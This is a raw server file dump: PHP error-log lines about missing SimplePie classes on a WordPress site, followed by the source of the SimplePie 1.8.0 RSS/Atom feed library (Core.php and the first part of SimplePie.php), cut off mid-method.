[03-Nov-2025 19:50:13 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php on line 58
[03-Nov-2025 22:10:32 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php on line 63
[03-Nov-2025 22:49:00 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php on line 57
[04-Nov-2025 01:22:07 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php on line 53
[04-Nov-2025 01:42:39 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php on line 57
src/Core.php000064400000004273151024210710006733 0ustar00<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * SimplePie class.
 *
 * Class for backward compatibility.
 *
 * @deprecated Use {@see SimplePie} directly
 * @package SimplePie
 * @subpackage API
 */
class SimplePie_Core extends SimplePie
{

}src/SimplePie.php000064400000352313151024210710007733 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

use InvalidArgumentException;
use Psr\SimpleCache\CacheInterface;
use SimplePie\Cache\Base;
use SimplePie\Cache\BaseDataCache;
use SimplePie\Cache\CallableNameFilter;
use SimplePie\Cache\DataCache;
use SimplePie\Cache\NameFilter;
use SimplePie\Cache\Psr16;
use SimplePie\Content\Type\Sniffer;

/**
 * SimplePie
 *
 * @package SimplePie
 * @subpackage API
 */
class SimplePie
{
    /**
     * SimplePie Name
     */
    public const NAME = 'SimplePie';

    /**
     * SimplePie Version
     */
    public const VERSION = '1.8.0';

    /**
     * SimplePie Website URL
     */
    public const URL = 'http://simplepie.org';

    /**
     * SimplePie Linkback
     */
    public const LINKBACK = '<a href="' . self::URL . '" title="' . self::NAME . ' ' . self::VERSION . '">' . self::NAME . '</a>';

    /**
     * No Autodiscovery
     * @see SimplePie::set_autodiscovery_level()
     */
    public const LOCATOR_NONE = 0;

    /**
     * Feed Link Element Autodiscovery
     * @see SimplePie::set_autodiscovery_level()
     */
    public const LOCATOR_AUTODISCOVERY = 1;

    /**
     * Local Feed Extension Autodiscovery
     * @see SimplePie::set_autodiscovery_level()
     */
    public const LOCATOR_LOCAL_EXTENSION = 2;

    /**
     * Local Feed Body Autodiscovery
     * @see SimplePie::set_autodiscovery_level()
     */
    public const LOCATOR_LOCAL_BODY = 4;

    /**
     * Remote Feed Extension Autodiscovery
     * @see SimplePie::set_autodiscovery_level()
     */
    public const LOCATOR_REMOTE_EXTENSION = 8;

    /**
     * Remote Feed Body Autodiscovery
     * @see SimplePie::set_autodiscovery_level()
     */
    public const LOCATOR_REMOTE_BODY = 16;

    /**
     * All Feed Autodiscovery
     * @see SimplePie::set_autodiscovery_level()
     */
    public const LOCATOR_ALL = 31;

    /**
     * No known feed type
     */
    public const TYPE_NONE = 0;

    /**
     * RSS 0.90
     */
    public const TYPE_RSS_090 = 1;

    /**
     * RSS 0.91 (Netscape)
     */
    public const TYPE_RSS_091_NETSCAPE = 2;

    /**
     * RSS 0.91 (Userland)
     */
    public const TYPE_RSS_091_USERLAND = 4;

    /**
     * RSS 0.91 (both Netscape and Userland)
     */
    public const TYPE_RSS_091 = 6;

    /**
     * RSS 0.92
     */
    public const TYPE_RSS_092 = 8;

    /**
     * RSS 0.93
     */
    public const TYPE_RSS_093 = 16;

    /**
     * RSS 0.94
     */
    public const TYPE_RSS_094 = 32;

    /**
     * RSS 1.0
     */
    public const TYPE_RSS_10 = 64;

    /**
     * RSS 2.0
     */
    public const TYPE_RSS_20 = 128;

    /**
     * RDF-based RSS
     */
    public const TYPE_RSS_RDF = 65;

    /**
     * Non-RDF-based RSS (truly intended as syndication format)
     */
    public const TYPE_RSS_SYNDICATION = 190;

    /**
     * All RSS
     */
    public const TYPE_RSS_ALL = 255;

    /**
     * Atom 0.3
     */
    public const TYPE_ATOM_03 = 256;

    /**
     * Atom 1.0
     */
    public const TYPE_ATOM_10 = 512;

    /**
     * All Atom
     */
    public const TYPE_ATOM_ALL = 768;

    /**
     * All feed types
     */
    public const TYPE_ALL = 1023;

    /**
     * No construct
     */
    public const CONSTRUCT_NONE = 0;

    /**
     * Text construct
     */
    public const CONSTRUCT_TEXT = 1;

    /**
     * HTML construct
     */
    public const CONSTRUCT_HTML = 2;

    /**
     * XHTML construct
     */
    public const CONSTRUCT_XHTML = 4;

    /**
     * base64-encoded construct
     */
    public const CONSTRUCT_BASE64 = 8;

    /**
     * IRI construct
     */
    public const CONSTRUCT_IRI = 16;

    /**
     * A construct that might be HTML
     */
    public const CONSTRUCT_MAYBE_HTML = 32;

    /**
     * All constructs
     */
    public const CONSTRUCT_ALL = 63;

    /**
     * Don't change case
     */
    public const SAME_CASE = 1;

    /**
     * Change to lowercase
     */
    public const LOWERCASE = 2;

    /**
     * Change to uppercase
     */
    public const UPPERCASE = 4;

    /**
     * PCRE for HTML attributes
     */
    public const PCRE_HTML_ATTRIBUTE = '((?:[\x09\x0A\x0B\x0C\x0D\x20]+[^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3D\x3E]*(?:[\x09\x0A\x0B\x0C\x0D\x20]*=[\x09\x0A\x0B\x0C\x0D\x20]*(?:"(?:[^"]*)"|\'(?:[^\']*)\'|(?:[^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?)*)[\x09\x0A\x0B\x0C\x0D\x20]*';

    /**
     * PCRE for XML attributes
     */
    public const PCRE_XML_ATTRIBUTE = '((?:\s+(?:(?:[^\s:]+:)?[^\s:]+)\s*=\s*(?:"(?:[^"]*)"|\'(?:[^\']*)\'))*)\s*';

    /**
     * XML Namespace
     */
    public const NAMESPACE_XML = 'http://www.w3.org/XML/1998/namespace';

    /**
     * Atom 1.0 Namespace
     */
    public const NAMESPACE_ATOM_10 = 'http://www.w3.org/2005/Atom';

    /**
     * Atom 0.3 Namespace
     */
    public const NAMESPACE_ATOM_03 = 'http://purl.org/atom/ns#';

    /**
     * RDF Namespace
     */
    public const NAMESPACE_RDF = 'http://www.w3.org/1999/02/22-rdf-syntax-ns#';

    /**
     * RSS 0.90 Namespace
     */
    public const NAMESPACE_RSS_090 = 'http://my.netscape.com/rdf/simple/0.9/';

    /**
     * RSS 1.0 Namespace
     */
    public const NAMESPACE_RSS_10 = 'http://purl.org/rss/1.0/';

    /**
     * RSS 1.0 Content Module Namespace
     */
    public const NAMESPACE_RSS_10_MODULES_CONTENT = 'http://purl.org/rss/1.0/modules/content/';

    /**
     * RSS 2.0 Namespace
     * (Stupid, I know, but I'm certain it will confuse people less with support.)
     */
    public const NAMESPACE_RSS_20 = '';

    /**
     * DC 1.0 Namespace
     */
    public const NAMESPACE_DC_10 = 'http://purl.org/dc/elements/1.0/';

    /**
     * DC 1.1 Namespace
     */
    public const NAMESPACE_DC_11 = 'http://purl.org/dc/elements/1.1/';

    /**
     * W3C Basic Geo (WGS84 lat/long) Vocabulary Namespace
     */
    public const NAMESPACE_W3C_BASIC_GEO = 'http://www.w3.org/2003/01/geo/wgs84_pos#';

    /**
     * GeoRSS Namespace
     */
    public const NAMESPACE_GEORSS = 'http://www.georss.org/georss';

    /**
     * Media RSS Namespace
     */
    public const NAMESPACE_MEDIARSS = 'http://search.yahoo.com/mrss/';

    /**
     * Wrong Media RSS Namespace. Caused by a long-standing typo in the spec.
     */
    public const NAMESPACE_MEDIARSS_WRONG = 'http://search.yahoo.com/mrss';

    /**
     * Wrong Media RSS Namespace #2. New namespace introduced in Media RSS 1.5.
     */
    public const NAMESPACE_MEDIARSS_WRONG2 = 'http://video.search.yahoo.com/mrss';

    /**
     * Wrong Media RSS Namespace #3. A possible typo of the Media RSS 1.5 namespace.
     */
    public const NAMESPACE_MEDIARSS_WRONG3 = 'http://video.search.yahoo.com/mrss/';

    /**
     * Wrong Media RSS Namespace #4. New spec location after the RSS Advisory Board takes it over, but not a valid namespace.
     */
    public const NAMESPACE_MEDIARSS_WRONG4 = 'http://www.rssboard.org/media-rss';

    /**
     * Wrong Media RSS Namespace #5. A possible typo of the RSS Advisory Board URL.
     */
    public const NAMESPACE_MEDIARSS_WRONG5 = 'http://www.rssboard.org/media-rss/';

    /**
     * iTunes RSS Namespace
     */
    public const NAMESPACE_ITUNES = 'http://www.itunes.com/dtds/podcast-1.0.dtd';

    /**
     * XHTML Namespace
     */
    public const NAMESPACE_XHTML = 'http://www.w3.org/1999/xhtml';

    /**
     * IANA Link Relations Registry
     */
    public const IANA_LINK_RELATIONS_REGISTRY = 'http://www.iana.org/assignments/relation/';

    /**
     * No file source
     */
    public const FILE_SOURCE_NONE = 0;

    /**
     * Remote file source
     */
    public const FILE_SOURCE_REMOTE = 1;

    /**
     * Local file source
     */
    public const FILE_SOURCE_LOCAL = 2;

    /**
     * fsockopen() file source
     */
    public const FILE_SOURCE_FSOCKOPEN = 4;

    /**
     * cURL file source
     */
    public const FILE_SOURCE_CURL = 8;

    /**
     * file_get_contents() file source
     */
    public const FILE_SOURCE_FILE_GET_CONTENTS = 16;

    /**
     * @var array Raw data
     * @access private
     */
    public $data = [];

    /**
     * @var mixed Error string
     * @access private
     */
    public $error;

    /**
     * @var int HTTP status code
     * @see SimplePie::status_code()
     * @access private
     */
    public $status_code = 0;

    /**
     * @var object Instance of \SimplePie\Sanitize (or other class)
     * @see SimplePie::set_sanitize_class()
     * @access private
     */
    public $sanitize;

    /**
     * @var string SimplePie Useragent
     * @see SimplePie::set_useragent()
     * @access private
     */
    public $useragent = '';

    /**
     * @var string Feed URL
     * @see SimplePie::set_feed_url()
     * @access private
     */
    public $feed_url;

    /**
     * @var string Original feed URL, or new feed URL iff HTTP 301 Moved Permanently
     * @see SimplePie::subscribe_url()
     * @access private
     */
    public $permanent_url = null;

    /**
     * @var object Instance of \SimplePie\File to use as a feed
     * @see SimplePie::set_file()
     * @access private
     */
    public $file;

    /**
     * @var string Raw feed data
     * @see SimplePie::set_raw_data()
     * @access private
     */
    public $raw_data;

    /**
     * @var int Timeout for fetching remote files
     * @see SimplePie::set_timeout()
     * @access private
     */
    public $timeout = 10;

    /**
     * @var array Custom curl options
     * @see SimplePie::set_curl_options()
     * @access private
     */
    public $curl_options = [];

    /**
     * @var bool Forces fsockopen() to be used for remote files instead
     * of cURL, even if a new enough version is installed
     * @see SimplePie::force_fsockopen()
     * @access private
     */
    public $force_fsockopen = false;

    /**
     * @var bool Force the given data/URL to be treated as a feed no matter what
     * it appears like
     * @see SimplePie::force_feed()
     * @access private
     */
    public $force_feed = false;

    /**
     * @var bool Enable/Disable Caching
     * @see SimplePie::enable_cache()
     * @access private
     */
    private $enable_cache = true;

    /**
     * @var DataCache|null
     * @see SimplePie::set_cache()
     */
    private $cache = null;

    /**
     * @var NameFilter
     * @see SimplePie::set_cache_namefilter()
     */
    private $cache_namefilter;

    /**
     * @var bool Force SimplePie to fallback to expired cache, if enabled,
     * when feed is unavailable.
     * @see SimplePie::force_cache_fallback()
     * @access private
     */
    public $force_cache_fallback = false;

    /**
     * @var int Cache duration (in seconds)
     * @see SimplePie::set_cache_duration()
     * @access private
     */
    public $cache_duration = 3600;

    /**
     * @var int Auto-discovery cache duration (in seconds)
     * @see SimplePie::set_autodiscovery_cache_duration()
     * @access private
     */
    public $autodiscovery_cache_duration = 604800; // 7 Days.

    /**
     * @var string Cache location (relative to executing script)
     * @see SimplePie::set_cache_location()
     * @access private
     */
    public $cache_location = './cache';

    /**
     * @var string Function that creates the cache filename
     * @see SimplePie::set_cache_name_function()
     * @access private
     */
    public $cache_name_function = 'md5';

    /**
     * @var bool Reorder feed by date descending
     * @see SimplePie::enable_order_by_date()
     * @access private
     */
    public $order_by_date = true;

    /**
     * @var mixed Force input encoding to be set to the follow value
     * (false, or anything type-cast to false, disables this feature)
     * @see SimplePie::set_input_encoding()
     * @access private
     */
    public $input_encoding = false;

    /**
     * @var int Feed Autodiscovery Level
     * @see SimplePie::set_autodiscovery_level()
     * @access private
     */
    public $autodiscovery = self::LOCATOR_ALL;

    /**
     * Class registry object
     *
     * @var \SimplePie\Registry
     */
    public $registry;

    /**
     * @var int Maximum number of feeds to check with autodiscovery
     * @see SimplePie::set_max_checked_feeds()
     * @access private
     */
    public $max_checked_feeds = 10;

    /**
     * @var array All the feeds found during the autodiscovery process
     * @see SimplePie::get_all_discovered_feeds()
     * @access private
     */
    public $all_discovered_feeds = [];

    /**
     * @var string Web-accessible path to the handler_image.php file.
     * @see SimplePie::set_image_handler()
     * @access private
     */
    public $image_handler = '';

    /**
     * @var array Stores the URLs when multiple feeds are being initialized.
     * @see SimplePie::set_feed_url()
     * @access private
     */
    public $multifeed_url = [];

    /**
     * @var array Stores SimplePie objects when multiple feeds initialized.
     * @access private
     */
    public $multifeed_objects = [];

    /**
     * @var array Stores the get_object_vars() array for use with multifeeds.
     * @see SimplePie::set_feed_url()
     * @access private
     */
    public $config_settings = null;

    /**
     * @var integer Stores the number of items to return per-feed with multifeeds.
     * @see SimplePie::set_item_limit()
     * @access private
     */
    public $item_limit = 0;

    /**
     * @var bool Stores if last-modified and/or etag headers were sent with the
     * request when checking a feed.
     */
    public $check_modified = false;

    /**
     * @var array Stores the default attributes to be stripped by strip_attributes().
     * @see SimplePie::strip_attributes()
     * @access private
     */
    public $strip_attributes = ['bgsound', 'class', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc'];

    /**
     * @var array Stores the default attributes to add to different tags by add_attributes().
     * @see SimplePie::add_attributes()
     * @access private
     */
    public $add_attributes = ['audio' => ['preload' => 'none'], 'iframe' => ['sandbox' => 'allow-scripts allow-same-origin'], 'video' => ['preload' => 'none']];

    /**
     * @var array Stores the default tags to be stripped by strip_htmltags().
     * @see SimplePie::strip_htmltags()
     * @access private
     */
    public $strip_htmltags = ['base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style'];

    /**
     * @var array Stores the default attributes to be renamed by rename_attributes().
     * @see SimplePie::rename_attributes()
     * @access private
     */
    public $rename_attributes = [];

    /**
     * @var bool Should we throw exceptions, or use the old-style error property?
     * @access private
     */
    public $enable_exceptions = false;

    /**
     * The SimplePie class contains feed level data and options
     *
     * To use SimplePie, create the SimplePie object with no parameters. You can
     * then set configuration options using the provided methods. After setting
     * them, you must initialise the feed using $feed->init(). At that point the
     * object's methods and properties will be available to you.
     *
     * Previously, it was possible to pass in the feed URL along with cache
     * options directly into the constructor. This has been removed as of 1.3 as
     * it caused a lot of confusion.
     *
     * @since 1.0 Preview Release
     */
    public function __construct()
    {
        if (version_compare(PHP_VERSION, '7.2', '<')) {
            exit('Please upgrade to PHP 7.2 or newer.');
        }

        $this->set_useragent();

        $this->set_cache_namefilter(new CallableNameFilter($this->cache_name_function));

        // Other objects, instances created here so we can set options on them
        $this->sanitize = new \SimplePie\Sanitize();
        $this->registry = new \SimplePie\Registry();

        if (func_num_args() > 0) {
            trigger_error('Passing parameters to the constructor is no longer supported. Please use set_feed_url(), set_cache_location(), and set_cache_duration() directly.', \E_USER_DEPRECATED);

            $args = func_get_args();
            switch (count($args)) {
                case 3:
                    $this->set_cache_duration($args[2]);
                    // no break
                case 2:
                    $this->set_cache_location($args[1]);
                    // no break
                case 1:
                    $this->set_feed_url($args[0]);
                    $this->init();
            }
        }
    }

    /**
     * Used for converting object to a string
     */
    public function __toString()
    {
        return md5(serialize($this->data));
    }

    /**
     * Remove items that link back to this before destroying this object
     */
    public function __destruct()
    {
        if (!gc_enabled()) {
            if (!empty($this->data['items'])) {
                foreach ($this->data['items'] as $item) {
                    $item->__destruct();
                }
                unset($item, $this->data['items']);
            }
            if (!empty($this->data['ordered_items'])) {
                foreach ($this->data['ordered_items'] as $item) {
                    $item->__destruct();
                }
                unset($item, $this->data['ordered_items']);
            }
        }
    }

    /**
     * Force the given data/URL to be treated as a feed
     *
     * This tells SimplePie to ignore the content-type provided by the server.
     * Be careful when using this option, as it will also disable autodiscovery.
     *
     * @since 1.1
     * @param bool $enable Force the given data/URL to be treated as a feed
     */
    public function force_feed($enable = false)
    {
        $this->force_feed = (bool) $enable;
    }

    /**
     * Set the URL of the feed you want to parse
     *
     * This allows you to enter the URL of the feed you want to parse, or the
     * website you want to try to use auto-discovery on. This takes priority
     * over any set raw data.
     *
     * You can set multiple feeds to mash together by passing an array instead
     * of a string for the $url. Remember that with each additional feed comes
     * additional processing and resources.
     *
     * @since 1.0 Preview Release
     * @see set_raw_data()
     * @param string|array $url This is the URL (or array of URLs) that you want to parse.
     */
    public function set_feed_url($url)
    {
        $this->multifeed_url = [];
        if (is_array($url)) {
            foreach ($url as $value) {
                $this->multifeed_url[] = $this->registry->call(Misc::class, 'fix_protocol', [$value, 1]);
            }
        } else {
            $this->feed_url = $this->registry->call(Misc::class, 'fix_protocol', [$url, 1]);
            $this->permanent_url = $this->feed_url;
        }
    }

    /**
     * Set an instance of {@see \SimplePie\File} to use as a feed
     *
     * @param \SimplePie\File &$file
     * @return bool True on success, false on failure
     */
    public function set_file(&$file)
    {
        if ($file instanceof \SimplePie\File) {
            $this->feed_url = $file->url;
            $this->permanent_url = $this->feed_url;
            $this->file = &$file;
            return true;
        }
        return false;
    }

    /**
     * Set the raw XML data to parse
     *
     * Allows you to use a string of RSS/Atom data instead of a remote feed.
     *
     * If you have a feed available as a string in PHP, you can tell SimplePie
     * to parse that data string instead of a remote feed. Any set feed URL
     * takes precedence.
     *
     * @since 1.0 Beta 3
     * @param string $data RSS or Atom data as a string.
     * @see set_feed_url()
     */
    public function set_raw_data($data)
    {
        $this->raw_data = $data;
    }

    /**
     * Set the default timeout for fetching remote feeds
     *
     * This allows you to change the maximum time the feed's server to respond
     * and send the feed back.
     *
     * @since 1.0 Beta 3
     * @param int $timeout The maximum number of seconds to spend waiting to retrieve a feed.
     */
    public function set_timeout($timeout = 10)
    {
        $this->timeout = (int) $timeout;
    }

    /**
     * Set custom curl options
     *
     * This allows you to change default curl options
     *
     * @since 1.0 Beta 3
     * @param array $curl_options Curl options to add to default settings
     */
    public function set_curl_options(array $curl_options = [])
    {
        $this->curl_options = $curl_options;
    }

    /**
     * Force SimplePie to use fsockopen() instead of cURL
     *
     * @since 1.0 Beta 3
     * @param bool $enable Force fsockopen() to be used
     */
    public function force_fsockopen($enable = false)
    {
        $this->force_fsockopen = (bool) $enable;
    }

    /**
     * Enable/disable caching in SimplePie.
     *
     * This option allows you to disable caching all-together in SimplePie.
     * However, disabling the cache can lead to longer load times.
     *
     * @since 1.0 Preview Release
     * @param bool $enable Enable caching
     */
    public function enable_cache($enable = true)
    {
        $this->enable_cache = (bool) $enable;
    }

    /**
     * Set a PSR-16 implementation as cache
     *
     * @param CacheInterface $psr16cache The PSR-16 cache implementation
     *
     * @return void
     */
    public function set_cache(CacheInterface $cache)
    {
        $this->cache = new Psr16($cache);
    }

    /**
     * SimplePie to continue to fall back to expired cache, if enabled, when
     * feed is unavailable.
     *
     * This tells SimplePie to ignore any file errors and fall back to cache
     * instead. This only works if caching is enabled and cached content
     * still exists.
     *
     * @deprecated since SimplePie 1.8.0, expired cache will not be used anymore.
     *
     * @param bool $enable Force use of cache on fail.
     */
    public function force_cache_fallback($enable = false)
    {
        // @trigger_error(sprintf('SimplePie\SimplePie::force_cache_fallback() is deprecated since SimplePie 1.8.0, expired cache will not be used anymore.'), \E_USER_DEPRECATED);
        $this->force_cache_fallback = (bool) $enable;
    }

    /**
     * Set the length of time (in seconds) that the contents of a feed will be
     * cached
     *
     * @param int $seconds The feed content cache duration
     */
    public function set_cache_duration($seconds = 3600)
    {
        $this->cache_duration = (int) $seconds;
    }

    /**
     * Set the length of time (in seconds) that the autodiscovered feed URL will
     * be cached
     *
     * @param int $seconds The autodiscovered feed URL cache duration.
     */
    public function set_autodiscovery_cache_duration($seconds = 604800)
    {
        $this->autodiscovery_cache_duration = (int) $seconds;
    }

    /**
     * Set the file system location where the cached files should be stored
     *
     * @deprecated since SimplePie 1.8.0, use \SimplePie\SimplePie::set_cache() instead.
     *
     * @param string $location The file system location.
     */
    public function set_cache_location($location = './cache')
    {
        // @trigger_error(sprintf('SimplePie\SimplePie::set_cache_location() is deprecated since SimplePie 1.8.0, please use "SimplePie\SimplePie::set_cache()" instead.'), \E_USER_DEPRECATED);
        $this->cache_location = (string) $location;
    }

    /**
     * Return the filename (i.e. hash, without path and without extension) of the file to cache a given URL.
     *
     * @param string $url The URL of the feed to be cached.
     * @return string A filename (i.e. hash, without path and without extension).
     */
    public function get_cache_filename($url)
    {
        // Append custom parameters to the URL to avoid cache pollution in case of multiple calls with different parameters.
        $url .= $this->force_feed ? '#force_feed' : '';
        $options = [];
        if ($this->timeout != 10) {
            $options[CURLOPT_TIMEOUT] = $this->timeout;
        }
        if ($this->useragent !== \SimplePie\Misc::get_default_useragent()) {
            $options[CURLOPT_USERAGENT] = $this->useragent;
        }
        if (!empty($this->curl_options)) {
            foreach ($this->curl_options as $k => $v) {
                $options[$k] = $v;
            }
        }
        if (!empty($options)) {
            ksort($options);
            $url .= '#' . urlencode(var_export($options, true));
        }

        return $this->cache_namefilter->filter($url);
    }

    /**
     * Set whether feed items should be sorted into reverse chronological order
     *
     * @param bool $enable Sort as reverse chronological order.
     */
    public function enable_order_by_date($enable = true)
    {
        $this->order_by_date = (bool) $enable;
    }

    /**
     * Set the character encoding used to parse the feed
     *
     * This overrides the encoding reported by the feed, however it will fall
     * back to the normal encoding detection if the override fails
     *
     * @param string $encoding Character encoding
     */
    public function set_input_encoding($encoding = false)
    {
        if ($encoding) {
            $this->input_encoding = (string) $encoding;
        } else {
            $this->input_encoding = false;
        }
    }

    /**
     * Set how much feed autodiscovery to do
     *
     * @see \SimplePie\SimplePie::LOCATOR_NONE
     * @see \SimplePie\SimplePie::LOCATOR_AUTODISCOVERY
     * @see \SimplePie\SimplePie::LOCATOR_LOCAL_EXTENSION
     * @see \SimplePie\SimplePie::LOCATOR_LOCAL_BODY
     * @see \SimplePie\SimplePie::LOCATOR_REMOTE_EXTENSION
     * @see \SimplePie\SimplePie::LOCATOR_REMOTE_BODY
     * @see \SimplePie\SimplePie::LOCATOR_ALL
     * @param int $level Feed Autodiscovery Level (level can be a combination of the above constants, see bitwise OR operator)
     */
    public function set_autodiscovery_level($level = self::LOCATOR_ALL)
    {
        $this->autodiscovery = (int) $level;
    }

    /**
     * Get the class registry
     *
     * Use this to override SimplePie's default classes
     * @see \SimplePie\Registry
     *
     * @return Registry
     */
    public function &get_registry()
    {
        return $this->registry;
    }

    /**
     * Set which class SimplePie uses for caching
     *
     * @deprecated since SimplePie 1.3, use {@see set_cache()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_cache_class($class = Cache::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::set_cache()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Cache::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for auto-discovery
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_locator_class($class = Locator::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Locator::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for XML parsing
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_parser_class($class = Parser::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Parser::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for remote file fetching
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_file_class($class = File::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

